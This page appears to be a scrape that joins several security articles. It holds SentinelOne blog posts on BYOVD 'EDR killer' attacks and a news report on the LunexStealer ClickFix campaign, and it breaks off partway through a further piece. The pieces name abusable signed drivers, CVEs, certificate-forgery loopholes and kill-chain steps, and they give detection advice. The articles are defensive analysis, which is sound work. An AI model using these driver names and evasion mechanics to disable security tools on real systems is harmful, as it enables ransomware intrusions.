Bring your own vulnerable driver (BYOVD) is having a moment in endpoint security. Some of the buzz is earned. Some of it is overblown. This series unpacks both and shows the evidence for each. This piece weighs the trust gap the technique exploits against what the data actually shows.

A long-revoked certificate still loads a driver into the Windows kernel today. Help Net Security traced a 2026 intrusion to a decade-old forensic driver whose signing certificate had expired and been revoked years earlier. The kernel loaded it anyway.

The reason is structural, and it explains why the defensive target most teams chase is the wrong one. Defenders track bad drivers. We pull the LOLDrivers catalog, sync the default driver blocklist, and watch the list grow. The list is not where attackers compete. They compete over signing trust. A signature is the scarce thing. A driver is just the disposable wrapper around it.

Trust Is the Scarce Resource and Drivers are Disposable

Think about a stolen credit card. The number keeps clearing for hours or days in the gap before merchant blocklists sync. The thief does not need a new card. They need the window where the old one still works. Card networks did not win by perfecting the blocklist. They won by scoring the transaction itself in real time, regardless of whether the number was flagged yet.

Signed drivers run on the same broken model. The blocklist is the merchant blocklist. The signature is the card. Attackers live in the propagation gap, and that gap is wide.

The defensive move that follows is to stop chasing the card numbers and instrument the transaction. This is the reframe no competitor owns. Defend the trust anchor, because the list will always trail it. The anchor is the signing trust itself: revocation, signature metadata, and the slow death of cross-signed-driver trust. A list of bad drivers grows forever. The set of trust mechanisms that let those drivers load is small and addressable.

The web learned this lesson the hard way already. Online Certificate Status Protocol (OCSP) soft-fail meant a browser that could not reach the revocation responder simply trusted the certificate anyway. The kernel driver model carries the same flaw in a harsher setting. There is no soft-fail to debate, because the kernel does not ask the question at all.

The Proof Is In the Certificates

The economics favor the attacker because trust concentrates. Public threat research found a single GitHub PFX file holding more than a dozen expired certificates, drawn from the 2015 Hacking Team leak and Chinese forums. That one file forged signatures on thousands of malicious drivers.

A small set of compromised keys signs an unbounded supply of drivers. A few stolen keys against thousands of drivers means the list defenders maintain can never catch up. Block a driver and the cost is one recompile. Edit unauthenticated bytes, the file hash changes, and the same key signs a new artifact. The blocklist entry you just earned is already stale, because the signing key did not move and the key is the asset. SentinelOne®'s latest Annual Threat Report documents loaders that reintroduce effectively the same payload under fresh hashes to outpace simple hash-based blocking.

The trust-pyramid framing from that research describes a real structure. At the base sit individual drivers, cheap and disposable. Above them sit the end-entity certificates that sign batches of drivers, and at the apex sit the cross-signed certificate authorities the kernel anchors to. An attacker who climbs one level multiplies their reach across everything below it, and defenders who fight at the base are fighting where the attacker has infinite supply.

The same research showed how attackers manufacture fresh trust on demand. Tools forge signature timestamps, exploiting the pre-July-29-2015 cross-signed certificate exception by backdating a signature so it appears to predate the cutoff. An expired or revoked certificate becomes a working signing key again. The forgery does not break the trust chain. It satisfies it.

The kernel makes this worse by refusing to check revocation. Windows loads drivers signed with revoked certificates even when a local revocation list is present, and the decade-old forensic driver case showed the same failure in 2026. The operating system's kernel-mode signing policy accepts end-entity certificates issued before July 29, 2015 if they chain to a cross-signed authority. The policy codifies the loophole rather than closing it.

The defensive consequence follows directly. Blocking expired and revoked certificate driver loads, paired with the blocklist, beats the blocklist alone. The blocklist enumerates known-bad files one at a time. Revocation enforcement attacks the reusable key behind all of them, scaling against the attacker instead of with them.

A certificate authority revokes a key when it learns the key is compromised, and in a working system every consumer checks the revocation list and refuses the key. A revoked certificate carries a clear instruction, do not trust anything this key signs, and the kernel loads the driver anyway. The attacker did not defeat the trust system. They used the part of it that was never enforced.

The Driver Persistence Half-Life

Now the data. Against the LOLDrivers catalog, roughly one-third of catalogued vulnerable driver samples are not covered by the default blocklist. The June 19, 2026 pull puts it at 36 percent. That is 782 of 2,190 samples, absent from the default list. About 22 percent, 479 samples, load even with Hypervisor-Protected Code Integrity (HVCI) enabled.

Call this the Driver Persistence Half-Life, the signature data point of this argument.

Be honest about what that number is. The 36 and 22 percent figures are point estimates from a single computed pull against one blocklist version. The method is published and reproducible: parse the enforced HVCI SiPolicy and the official block rules against the LOLDrivers JSON, match by file hash, then by authenticode metadata, and pin both to a commit and a version.

The caveats matter. The denominator is the LOLDrivers catalog, not every driver that exists. "Not covered" means absent from the default block rules, not exploitable on a given host. Hash coverage is brittle, because an edit to unauthenticated bytes changes the hash without changing the abuse.

The corroboration is real, and it is fewer voices than it looks. The catalog's own coverage metrics report that many LOLDrivers entries sit off the default blocklist, and public threat research corroborates the cadence qualitatively, confirming that systems can be attacked with a driver not yet listed. Two open tools reproduce the check itself, Trail of Bits' HVCI-loldrivers-check and a community block-rules checker, but no genuinely independent second count of the exact figures exists yet.

The lag underneath the number is the real exposure. The default blocklist updates only periodically through Windows Update, roughly once or twice a year, and deliberately holds back some blocks to avoid breaking legitimate software. The minimum disclosure-to-block window is a calendar quarter, and the historical window has run to six months or more. Most of these vulnerable signed drivers are reachable without admin rights, so the exposure is wide and the door is low.

The on-device reality runs worse than the stated cadence. Public reporting documented a Windows 10 driver blocklist frozen at a December 2019 version until an October 2022 fix. That is a roughly three-year gap between the published cadence and what shipped on the machine. A defender reading the cadence would assume quarterly freshness. The endpoint disagreed for three years.

Per case, persistence runs to years. SentinelLABS disclosed Dell's dbutil_2_3.sys flaws in 2021, and the signed-but-vulnerable driver was still disabling security tooling in 2024. SentinelLABS noted that the driver's certificate had not been revoked, leaving it abusable long after disclosure.

The half-life metaphor is precise. The catalog grows faster than the blocklist can absorb it, so the gap widens rather than closes, a long, slow decay that the attacker schedules around.

The method is reproducible against your own fleet. Run the same hash and authenticode match against the drivers that actually load, and the result is a number that describes your real exposure, a measurement you can repeat each quarter. The durable claim stays the honest one: roughly one-third of catalogued vulnerable drivers are not blocked by default. The precise 36 and 22 percent belong to one computed pull, a snapshot with a published method attached.

Blocking Everything Breaks the Business

The obvious fix is to block every old driver. That fix is impractical, and the platform's own documentation says so plainly: the blocklist "isn't guaranteed to block every driver," and blocks are held back precisely to avoid breaking functionality.

Vulnerable drivers are dual-use. Public threat research catalogued how most abused drivers ship as legitimate software components first. The same signed driver that disables an EDR this week was a working hardware utility last week. The blocklist maintainer weighs one confirmed abuse against tens of thousands of working installs. The hold-back is a rational choice under that math, and the exact gap the attacker schedules into.

The reboot gap makes the DIY approach worse. Independent analysis of the blocklist notes that a driver the policy would block keeps running until the next reboot, so an in-progress kill chain survives the moment you activate the policy. The attack surface reduction (ASR) rule that blocks vulnerable signed drivers only stops a driver from being written to disk. It does not block one already present from loading. Defenders who think they have closed the gap have often only narrowed the entry path.

The platform is moving the trust anchor. A Windows security update in April 2026 removes default trust for cross-signed kernel drivers, directly targeting the loophole the timestamp-forgery and pre-2015 exceptions opened. This is the industry bending toward the right target, attacking the reusable signing key itself, which is the correct altitude.

It helps. It does not close the gap. The April change applies to default trust going forward, so the 36 percent that sit off the blocklist today are not retroactively addressed by changing tomorrow's trust rules. The half-life keeps running on the inventory that already exists.

A separate chokepoint also remains in play. Public threat research documented one EDR killer used by multiple ransomware gangs whose coordination point was a shared packer-as-a-service, with no shared driver tying them together. The packer became the chokepoint when the driver did not. That is the pattern to internalize. Each fix narrows one path and exposes the next. Tighten cross-signed trust and the attacker leans harder on forged timestamps. Close the timestamp loophole and they lean on the unsynced backlog. The trust model has many anchors, and the attacker only needs the cheapest one still standing.

This persistence is not an accident of the technique. It is the product of an industry on the other side. SentinelOne's latest Annual Threat Report describes the industrialization of the modern cyber breach, with mature automation accelerating intrusions at scale. A trust gap that one researcher could exploit becomes one that a tooled-up criminal market exploits at volume, which is why the half-life persists across so many drivers at once.

This piece builds on prior work. Independent security research argued that admin-to-kernel is not a serviced security boundary and that blocklists are largely performative. That critique is correct and it stands. The contribution here is a measured persistence half-life, the certificate-concentration evidence behind it, and a trust-anchor reframe detection engineers can act on.

Stop Chasing the List. Instrument the Failure.

The card networks made the stolen number unprofitable by scoring the transaction. Defenders should do the same with signed drivers. Watch the trust event, because the catalog entry arrives too late to matter.

That means instrumenting the load itself. Sysmon Event ID 6 logs every driver load with its hash, signer, signature, and signature status, and any non-Valid status warrants investigation. This telemetry is low-volume and high-value, which makes it cheap to monitor and hard to flood. The Splunk detection content keys on exactly this event, with an explicit note that the alert needs triage rather than blind firing.

Signature-status detection and first-seen anomaly detection catch what blocklist matching misses. Alert on any driver load whose signature status is not Valid, including untrusted root, explicit distrust, and bad or invalid signatures, and on any driver whose hash, signer, or version has never been seen on the host before. Both approaches key on the trust attribute, so the known-bad list never enters the decision and the alert fires whether or not anyone has catalogued the driver yet.

The CodeIntegrity Operational log confirms whether your blocklist policy actually applied. Event ID 3099 confirms the policy is loaded, a blocked load logs Event ID 3077, an audited load logs Event ID 3076, and Event ID 3089 carries the signature detail. Pairing the block events with the audit events proves which drivers the policy stopped, which turns coverage from an assumption into a measurement. Given the three-year staleness the frozen-blocklist case showed, that proof is not optional.

The behavioral chain is observable end to end. A service is created via sc.exe, logged as Sysmon Event ID 1, and a System Event 7045 fires for the service install. A driver loads under Event ID 6, then a device control call (IOCTL) drives termination against protected processes. Public threat research watched one such loop run a repeating, fixed-interval termination cycle in kernel mode, stepping past protected-process defenses (PPL), and recent killers also unregister EDR kernel callbacks as a distinct observable before terminating processes. Picus mapped the same sequence across cases. Each step is a tripwire on the trust event, and none of it depends on prior knowledge of the specific driver.

The order of the chain is what makes it durable. The driver name changes every campaign, but the structure does not. SentinelOne's latest Annual Threat Report makes the same point about the kernel: activity at that layer can blind user-space instrumentation and leave a manual disk scan an unreliable assurance of cleanliness. Detection keyed to that shape survives a recompile, and detection keyed to a hash does not.

The mental shift is the point. A driver list is a finite answer to an infinite problem, and the trust anchor is small, addressable, and already moving. SentinelLABS research has lived at that anchor for years. The team co-discovered the POORTRY and STONESTOP WHQL-signed toolkit that drove the security advisory ADV220005, and proposed Authenticode-metadata blocklisting before that was standard practice.

Defenders are not behind because the list is incomplete. They are behind because they were grading the wrong exam. Score the trust event, and the half-life stops being the attacker's advantage.

Why This Is the Work SentinelOne Exists To Do

Scoring the trust event instead of chasing the list is the whole argument, and it is the argument SentinelOne was built to win. The platform watches the load itself, the untrusted signature, the first-seen driver, and the masquerading kernel service, from a vantage designed to keep reporting when the kernel turns hostile. Purple AI® carries that telemetry forward. Its Agentic Investigation capability reasons over the trust event the moment it fires, builds the timeline, and renders a verdict in minutes and seconds rather than hours and days. The propagation gap the attacker lives inside narrows when the verdict arrives at machine speed.

A control you have not confirmed is running is a control you are only hoping for, and most teams cannot staff that verification around the clock. Wayfinder, SentinelOne's managed detection and response practice, holds the line when your own team is asleep, fusing human threat hunting with the platform's autonomous investigation and Google threat intelligence. That is the reason the company exists. The trust anchor is small and addressable, and the advantage goes to the defender who instruments it.

Next in this series: The practical hunts themselves, the four distinct techniques hiding inside the phrase EDR killer, and the telemetry that catches each one.

External References

1. EDR killer abuses a vulnerable forensic driver, Help Net Security. February 5, 2026.
2. LOLDrivers security metrics. loldrivers.io (MagicSword), Pull cited as June 19, 2026.
3. HVCI-loldrivers-check, Trail of Bits (GitHub: trailofbits/HVCI-loldrivers-check).
4. loldrivers-database, Community project (GitHub: didntchooseaname/loldrivers-database).
5. New EDR killer tool used by eight different ransomware groups, BleepingComputer. August 6, 2025.
6. EDR Killer Threat Advisory (AD-2025-018), Cyber Security Agency of Singapore. 2025.
7. Sysmon driver-loading (Event ID 6), TrustedSec Sysmon Community Guide.
8. Windows Vulnerable Driver Loaded, Splunk Security Content. 2026.
9. Windows Drivers Loaded by Signature, Splunk Security Content. 2026.
10. Qilin EDR Killer infection chain, SOC Prime. April 7, 2026.

IP Disclaimer:

This blog may include discussion of unreleased services or features. Any unreleased services or features referenced here are still in development and subject to change. Customers should make their purchase decisions based upon features that are currently available.

Bring your own vulnerable driver (BYOVD) is having a moment in endpoint security. Some of the buzz is earned. Some of it is overblown. This series unpacks both and shows the evidence for each. This piece traces how the technique scaled into an industry.

Ransomware actors successfully disabled security tools in about 48% of intrusions in 2024. That figure comes from security researchers, drawn from incident-response engagements across the year. Attackers attempted to blind the defender in most of those cases. They almost always succeeded. Turning off the sensor was once a flourish. It is now a default move.

That 48% is the broad rate for disabling security tools by any method. BYOVD is the kernel-level technique this series tracks, one fast-growing method inside that number, and public threat research treats it as the part of the tamper problem accelerating fastest. Treat the 48% as the ceiling and the BYOVD slice as the piece that scaled into a market.

The Claim: This Became a Supply Chain

EDR killing industrialized over the last several years. SentinelOne®'s latest Annual Threat Report, "Defending Against the Industrialization of the Modern Cyber Breach," names that shift directly, with mature automation accelerating intrusions and tradecraft moving from one-off effort to maintained capability. A killer was once a binary an intruder wrote and discarded. Today it is a serviced capability, built, versioned, and bundled into ransomware-as-a-service for affiliates who never touch a debugger. The defender once faced a hobbyist. Now the defender faces a development pipeline.

A pipeline behaves differently from a one-off binary. It ships versions, fixes bugs, and reuses code across releases. The defender reads that cadence like a vendor roadmap, and every release leaves the same observable footprint when it runs. The reuse is visible in the architecture. Public threat reporting describes one current framework spinning eight-plus variants off a single shared design. That also means a detection tuned to one variant often catches its siblings. Code reuse cuts both ways, and the defender holds one of the edges.

The Proof: A Four-Year Timeline

Start at the floor. Public threat research documented an early Process Explorer-driver killer in 2023, used to disable EDR ahead of Medusa Locker and LockBit. The same year, SentinelLABS tracked an actor called "Spyboy" selling the Terminator killer. The price ran from $300 for a single AV bypass to $3,000 for the all-in-one EDR killer, and the tool abused Zemana drivers. These were early-window artifacts. They were standalone, sold, and disposable.

That timeline has a SentinelLABS anchor that reframes the whole story. SentinelLABS attributed the AvNeutralizer killer, also known as AuKill, to the FIN7 cybercrime group. FIN7 sold it on Russian-language forums at prices running from $4,000 to $15,000. The tool abused a Time Travel Debugging driver and the Process Explorer driver to disable defenses. This is the moment a killer stopped being a one-off and became a product with a price list.

The adoption pattern proves the product framing. SentinelLABS tracked AvNeutralizer spreading into Black Basta, AvosLocker, MedusaLocker, BlackCat, Trigona, and LockBit operations. One group built it, and six competing crews ran it. A single tool crossing that many rivals is the signature of a supplier, and the new feature was distribution.

Then the model changed inside ransomware-as-a-service. In August 2024, public reporting disclosed EDRKillShifter, abusing the RentDrv2 and ThreatFireMonitor drivers and first seen in a RansomHub attack. Researchers assessed with moderate confidence that the tool served multiple attackers, not RansomHub alone. The SentinelOne RansomHub anthology records the affiliate logic behind that spread, a customized EDR-killer tool made available to higher-level affiliates. One crew's tool became many crews' tool, and the new feature was tiered access.

The driver roster widened fast across 2025. In early 2025, public threat research documented a malicious driver that carried stolen, revoked certificates and imitated a legitimate EDR driver to silence defenses inside Medusa intrusions. By August 2025, GuidePoint tracked Akira affiliates in SonicWall VPN intrusions chaining a ThrottleStop driver, rwdrv.sys, with a malicious helper, hlpdrv.sys, to disable the built-in Windows antivirus. Different crews, different drivers, the same kernel-level objective. SentinelOne's latest Annual Threat Report records the same pattern from the other side of the kill, naming crews that script the built-in Windows antivirus into silence and kernel-mode drivers derived from POORTRY used to terminate EDR processes and delete security files.

The CVE-anchored cases arrived next. In December 2025, security researchers documented DeadLock ransomware abusing the Baidu antivirus driver BdApiUtil, tracked as CVE-2024-51324, to terminate EDR and the built-in Windows antivirus. In February 2026, public reporting documented Reynolds ransomware embedding the vulnerable NSecsoft driver NSecKrnl, tracked as CVE-2025-68947, which terminated more than 30 security processes. Those CVE records do not name the ransomware, and the actor mapping comes from threat intel. The same NSecKrnl driver shows up across unrelated crews, tied to Reynolds and to Warlock. A driver is shared infrastructure, so pivoting on the driver hash groups campaigns by supplier, not by gang.

By 2025 the sharing went structural. Threat-intel reporting found one EDR killer used across several competing ransomware families, distributed as distinct per-attack packed builds, and Singapore's national cyber agency corroborated the same multi-group pattern in an August 2025 advisory, independent of any single vendor. Public threat research also catalogued a forming marketplace of named killers priced from hundreds to thousands of dollars. Rivals were now buying from a common counter.

The 2026 picture is operator-run kits with large affiliate cuts. Public threat reporting documented the Gentlemen RaaS shipping its in-house EDR killer framework, running eight-plus BYOVD variants and targeting over 400 processes across 48 security products through DeviceIoControl calls. The operator reportedly hands affiliates around a 90% revenue share, a 10% operator cut against a 20% industry standard, and bundles third-party killers like HexKiller and ThrottleBlood. By April 2026, researchers saw Qilin and Warlock at the same game, Qilin chaining the rwdrv.sys and hlpdrv.sys pair while Warlock ran NSecKrnl. Public threat research now reads EDR killers as a standard, repeatable phase of the attack playbook. SentinelOne's latest Annual Threat Report measured how far the response window has collapsed, with one chained sequence reaching SYSTEM in roughly 30 milliseconds and a separate intrusion moving from initial download to a persistent service in 49 seconds.

The Turn: Acceleration Over Origination

Here is the correction the timeline forces. Commercial sale of EDR killers predates the 2024 window. SentinelLABS had Terminator on the market in 2023 and dated FIN7's AvNeutralizer sales earlier still. ExtraHop tracked a dark-web market for these tools across 2024 and 2025. Older still, the open-source EDRSandblast project weaponized a vulnerable driver against more than 1,000 security drivers back in 2022. The raw capability was for sale before the surge.

So the real story is acceleration and consolidation. The non-obvious shift is that rival ransomware crews stopped competing on this layer and started sharing it instead. Several groups feeding from one killer is a market choosing a common supplier. The cost of building beats the cost of buying.

The economics pulled the skill floor down. Reynolds ransomware bundled a vulnerable driver as a recruiting selling point aimed at less-skilled operators, and a capability that once required a kernel developer now requires a subscription. The driver is the part most likely to fail in unskilled hands, so researchers documented a practice they call driver decoupling. Affiliates install the vulnerable driver and confirm it loads before running the killer. That is the kind of guardrail a supplier adds to keep low-skill customers successful, packaging doing the work the operator used to do by hand.

What Makes Consolidation Possible

Markets need shared infrastructure, and this one has it. The shared killer that reporting tracked was one tool reissued as distinct packed builds for each attack, with the packer as the common chokepoint several rivals fed through. Singapore's advisory described the same customized-build distribution model, a single supplier serving many buyers.

The driver supply explains why it scales. Public reference lists now track thousands of vulnerable signed drivers, most reachable without admin rights. The live LOLDrivers catalogue alone records hundreds of unique drivers, a large share still missing from the default driver blocklist. That inventory reads as a parts catalog for the kit builder, a dual-use commodity supply where weak driver access controls hand unprivileged users a way in.

The price ladder runs from the low hundreds for Terminator to five figures for FIN7's AvNeutralizer, both tracked by SentinelLABS, while EDRKillShifter spread through tiered affiliate access rather than a flat price. The skill floor drops in step. EDRSandblast showed the open-source baseline back in 2022, already capable against more than 1,000 security drivers, and a buyer in 2026 does not need that depth. The operator maintains the tool and the affiliate just runs it, so each layer of packaging removes a reason an attacker would have failed. A working tool spreads fast once the price of entry drops to a download.

The Payoff: A Top-Tier Threat Getting Cheaper

Put the pieces together and the threat ranking is clear. Disabling defense is attempted in most ransomware intrusions and succeeds in roughly half. The tooling that does it is now maintained, shared across rivals, and sold with affiliate economics that reward volume. Each force lowers cost and widens reach at once. This is a structural threat, and it is getting cheaper to run.

Defenders set the response, and the response is not despair. Public threat research shows BYOVD remains the dominant kill method, and that dominance means the kill chain stays observable. The killer still has to act in a fixed sequence. It installs a driver, registers a kernel service, and issues the calls that terminate the sensor. Those steps leave telemetry behind them.

The defender should still hold the technique apart from its cousins. BYOVD is one entry in a tamper taxonomy. A driverless class is smaller but growing, and it skips the driver-install step entirely. EDR-Freeze suspends the sensor through a Windows error-reporting race, staying fully in user mode. EDRSilencer uses Windows filtering rules to block the sensor's telemetry from leaving the host. Those two break the driver-load observable, so a detection built only around driver loads will miss them.

Prevention narrows the window without closing it, which is exactly why behavioral observables carry weight. The sequence is concrete enough to map to event IDs. Picus Security described the early steps of the BYOVD chain as logged events. A service created with sc.exe surfaces as a Sysmon process-create record (Event ID 1) and a System service-install event (Event ID 7045). The driver load surfaces as a Sysmon driver-load record (Event ID 6). The killer then issues its DeviceIoControl call, followed by callback removal and security-process termination. Each arrow in that chain is a place to correlate and alert.

The behavior inside that chain is even more specific. Public threat research documented a kill loop where a masquerading kernel service enumerates running processes on a repeating, fixed-interval cycle. It passes the process IDs through an IOCTL so the driver calls the kernel termination routine directly, bypassing the protected-process protections that guard the sensor. The repeating rekill cadence is itself a signal, because a normal service does not poll the process list and terminate from kernel mode on a loop.

Callback removal deserves its own hunt, separate from the kill. SOC Prime documented Qilin loading rwdrv.sys for raw memory read and write, then loading hlpdrv.sys to remove the EDR's registered kernel callbacks across more than 300 products. Stripping callbacks blinds the sensor without terminating its process. The process still runs and still reports healthy. The defender who only watches for a killed process misses this entirely.

The masquerade is its own tell. Frameworks ship variants that each impersonate a legitimate product to blend into a normal driver inventory, and one documented driver carried stolen, revoked certificates to imitate a real EDR driver. The defender's answer is to treat the signer and the first-seen status as data. Splunk detection content keys on any driver load whose signature status is not Valid. Alert on a driver whose hash, signer, or version has never appeared on the host before.

The witnesses also outlast the endpoint. Once the sensor is silenced, network, identity, and cloud telemetry are what remain, and independent analysis found EDR-killer execution preceding ransomware across multiple gangs, a window enough to intervene before encryption. Singapore's national cyber agency framed EDR-killer activity as huntable through driver-load monitoring, termination patterns, and telemetry cessation. An agent's health drop, a lost heartbeat, or a gap in a constant feed all read as tamper, so alert on the absence of expected signal. A high-fidelity variant is System Event ID 7031, the service-crash log Windows writes when a kill abruptly terminates a security service. It is rare in a healthy environment, which makes it a strong candidate for a tight, low-false-positive alert.

The mental shift for the practitioner is this. Stop modeling the EDR killer as an exotic, once-a-year event and start modeling it as supply. A supplied capability has a pipeline, a release cadence, and paying customers, and every one of those is a place to detect, disrupt, and raise cost. SentinelOne builds for that fight. SentinelLABS co-discovered the POORTRY and STONESTOP signed-driver toolkit and drove the security advisory ADV220005 that followed. SentinelOne then shipped Local Upgrade Authorization on by default for new customers to blunt the tamper bypass. The purpose behind that work is to give the advantage to those who secure our future. The industry built a market for killing your sensor. The defender's job is to make that market expensive.

Why This Is The Work SentinelOne Exists To Do

Read the timeline and the conclusion is plain. You do not out-hustle a development pipeline with manual triage. You answer it with a pipeline of your own. SentinelOne built the Singularity™ Platform on Autonomous Security Intelligence (ASI) for this exact asymmetry, so the response runs at the speed the supply chain ships. Purple AI® is the reasoning interface for that platform, and its Agentic Investigation capability launches the moment a threat crosses the line, detecting, investigating, verifying, and responding without waiting for an analyst to wake up. The capability does not displace the human. Wayfinder, SentinelOne's 24/7 managed detection and response practice, puts seasoned threat hunters on top of that autonomous layer, with managed response and an incident-readiness retainer when the worst happens. The killer industrialized. The defense industrialized with it.

Next in this series: the trust gap underneath every one of these drivers, and why a certificate revoked sixteen years ago still loads code into the Windows kernel today.

External References

1. "EDR killers are now a thing, and ransomware crews love them," The Register, 14 August 2025.
2. "RansomHub gang deploys new tool to kill EDR software," Security Affairs, August 2024.
3. "GRIT Report: Akira and SonicWall," GuidePoint Security, 5 August 2025.
4. "Event ID 7031: Service crash," ManageEngine EventLog knowledge base.
5. "CVE-2024-51324," National Vulnerability Database.
6. "Reynolds ransomware uses BYOVD to disable security before encryption," Security Affairs.
7. "CVE-2025-68947," National Vulnerability Database.
8. "Advisory AD-2025-018," Cyber Security Agency of Singapore, 16 August 2025.
9. "The Gentlemen RaaS uses GentleKiller," The Hacker News, June 2026.
10. "Inside GentleKiller: the EDR killer powering the Gentlemen," Security Affairs.
11. "Gentlemen Ransomware Gang Standardizes EDR Killing," BankInfoSecurity.
12. "The Dark Web Market for EDR Killers," ExtraHop, 2024.
13. "EDRSandblast," Wavestone CDT, GitHub.
14. "EDRSilencer," netero1010, GitHub.
15. "EDRSilencer red team tool used in attacks to bypass security," BleepingComputer, 15 October 2024.
16. "New EDR-Freeze tool uses Windows WER to suspend security software," BleepingComputer, 22 September 2025.
17. "What Are Bring Your Own Vulnerable Driver (BYOVD) Attacks," Picus Security, 2026.
18. "Qilin EDR killer infection chain," SOC Prime, 7 April 2026.
19. "Windows Drivers Loaded by Signature," Splunk research.
20. "Windows Vulnerable Driver Loaded," Splunk research.
21. "loldrivers.io," live vulnerable-driver reference list, accessed 26 June 2026.

IP Disclaimer:

This blog may include discussion of unreleased services or features. Any unreleased services or features referenced here are still in development and subject to change. Customers should make their purchase decisions based upon features that are currently available.

Over 100 hacked websites used fake Cloudflare checks to trick visitors into installing LunexStealer through ClickFix commands.

The lure is the now-familiar ClickFix technique, dressed up as Cloudflare’s standard bot check. The fake page asks you to run a command, supposedly to confirm you’re not a bot, and that command quietly downloads and installs an MSI package from an attacker-controlled server. There’s no bot to fool here, you’re the one being fooled.

“In September 2026, CERT-UA specialists discovered over 100 compromised websites to which malicious JavaScript code had been added by attackers. When visiting such a site, the user was shown a fake Cloudflare verification page, which, under the pretext of confirming that the visitor was a human, offered to execute a command.” reads the report published by the Ukraine CERT-UA. “Executing the command resulted in downloading and installing an MSI package from a remote server (ClickFix technique).”

What makes this campaign interesting is how the attackers control it. The domain used for the fake page and the script’s settings are stored in a smart contract on the Polygon or Ethereum blockchain. The script checks the contract each time it runs, so the attackers can change the domain or turn the attack on and off without changing the compromised websites. In effect, they are using the blockchain as a remote control that is difficult to take down.

The script has three modes: off, silent visitor tracking, and the full fake verification page. The attack mode only targets Windows users who arrive through search engines, and it will show the fake page no more than twice within 12 hours for the same visitor. This is clearly designed to keep the campaign quiet and make it harder to spot through unusual traffic patterns.

CERT-UA pulled apart three separate MSI variants used in the campaign. The first just installs the stealer directly. The second is more elaborate, trying to slip past Windows User Account Control, carving out Microsoft Defender exceptions, and deploying a vulnerable AMD driver to exploit CVE-2023-20598, a bring-your-own-vulnerable-driver (BYOVD) move that blinds security tools before the real payload drops.

The third variant skips the driver abuse entirely and uses DLL side-loading instead, tricking a legitimate executable into loading a malicious library that decrypts and launches the stealer. Three different paths, the same room goal. CERT-UA names that payload LunexStealer.

LunexStealer isn’t just a credential grabber, it doubles as a remote execution tool, able to download and run executables, MSI packages, PowerShell scripts, and raw commands on demand. Depending on what configuration it pulls from its command server, it can also install a browser extension called LUNARAXE, disguised under the name “Microsoft Office Word Editor” so it blends into a list of legitimate-looking add-ons.

That extension steals cookies, browsing history, and anything typed into a web form, and gives the attacker live remote control over the browser itself.

“Depending on the configuration received from the control server, LUNEXSTEALER can install a malicious browser extension called LUNARAXE, which appears in the browser under the name “Microsoft Office Word Editor”.” continues the report. “The extension steals cookies, browsing history, and credentials entered into web forms, and also allows attackers to remotely control the browser: execute JavaScript code on web pages, manage tabs and take snapshots of them, and change proxy server settings. If the NAIVEMESS auxiliary component is present, the extension also gains access to the computer’s file system.”

There’s a file system access layer too, a PowerShell component called NAIVEMESS that CERT-UA says registers itself as a legitimate browser-to-system messaging host, letting the extension read, write, and launch files on the victim’s machine.

CERT-UA’s advice is simple: a real security check will never ask you to open the Run window, Command Prompt, or PowerShell and paste a command. If a website asks you to do that, close it, even if the site looks familiar.

For system administrators, CERT-UA recommends additional controls, such as restricting Win+R with Group Policy, limiting who can install MSI files, and blocking known vulnerable drivers.

Full CERT-UA advisory with indicators of compromise and the complete malware breakdown is available here.

Follow me on Twitter: @securityaffairs and Facebook and Mastodon

Pierluigi Paganini

(SecurityAffairs – hacking, LunexStealer)

The Warlock ransomware group still exploits SharePoint vulnerabilities, hitting a water utility, a telecom firm, and more. Here is how to defend.

Related Posts:

• ShinyHunters Hacker Arrest in Jordan Aids FBI Probe
• China-Aligned TA419 Credential Phishing Hits AI Experts
• Phishing Abuses RMM Tools for Persistent Network Access

The post Warlock Ransomware Group Hits Water and Telecom Operators Through SharePoint Flaws appeared first on Daily CyberSecurity.

Bring your own vulnerable driver (BYOVD) is having a moment in endpoint security. Some of the buzz is earned. Some of it is overblown. This series unpacks both and shows the evidence for each. This piece looks at the market that grew up around the technique.

A ransomware crew now ships an in-house “EDR killer” to its affiliates the way a product team ships software. It maintains the codebase. It versions the variants. It hands the tooling to paying partners with a support model behind it. The kill is no longer an improvised step in an intrusion. It is a product, and someone is on call for it.

That shift matters because it changes who you are actually fighting. Defenders have spent years treating the EDR killer as a lone operator's trick. The picture was a one-off binary, smuggled in by whoever read the right blog post. The current evidence points somewhere harder. EDR killing has become a service economy with pricing, affiliates, and operator-led R&D.

The clearest case is a ransomware-as-a-service (RaaS) operation tracked under the operator alias "hastalamuerte". Public threat reporting describes a crew that emerged in late 2025. It reached the top five ransomware gangs by the first quarter of 2026. Its flagship is an EDR killer framework that researchers describe as a shared development template. The operators build it. The affiliates use it.

Look at the build, and the word “framework” is earned. Researchers tracking the crew count eight or more variants in the kit. Each variant maps to a specific vulnerable driver, including ones from NSecsoft, Zemana, Qihoo 360, and Safetica. Each impersonates a legitimate security product to blend in. Together the variants hunt more than 400 processes across roughly 48 security products. They abuse kernel access to terminate the agents that should be watching.

The impersonation detail is the tell. Investigators found that each variant dresses up as a different legitimate security product, matching the driver it abuses. That is a product decision, made so the kill survives longer on more configurations. A lone operator does not build for portability across 48 defenders. A supplier with paying customers does, because portability is what the customers are buying.

The driver coverage reads like a compatibility matrix. The same reporting maps individual variants to drivers from NSecsoft, Zemana, Qihoo 360, and Safetica. Each loads through standard kernel control calls. A vendor supports many file formats so the product works on more customer machines. This crew supports many drivers so the kill works against more deployed defenders. The engineering intent is the same. Maximize the install base the tool can operate on.

This is a product line with coverage targets. The same crew also ships third-party killers alongside its own. Public reporting names HexKiller, ThrottleBlood, and HavocKiller carried in the same suite. It bundles a credential stealer called OxideHarvest as well. The kit is curated like a catalog.

A Catalog with Prices

Step back from one crew and the market comes into focus. Public threat research catalogs a large and growing population of EDR killers in circulation. That is not a handful of clever binaries. It is an inventory, large enough to support specialization, resale, and competition between sellers.

The scale sits underneath, in the drivers these tools abuse. Public threat research catalogs thousands of vulnerable signed drivers, most reachable without admin rights. A live tracking project keeps the running count of these drivers public. Cisco Talos found a single Qilin-linked killer that targets over 300 different EDR drivers in one tool. The raw material for this market is enormous, and most of it loads without elevated access.

Several of those tools carry price tags. SentinelLABS documented the Terminator EDR killer in 2023, sold by an actor known as Spyboy. The tool went for $300 to $3,000 and abused Zemana drivers. Priced tooling has a longer history here than most defenders assume. The kill has had a list price for years. What changed is the size of the shelf.

The strongest evidence sits in a SentinelLABS investigation of FIN7. The crew built an EDR killer called AvNeutralizer, also known as AuKill. It abused TTD and Process Explorer drivers to neutralize protected processes. FIN7 then sold it on Russian forums for $4,000 to $15,000. The same tool was adopted by Black Basta, AvosLocker, MedusaLocker, BlackCat, Trigona, and LockBit.

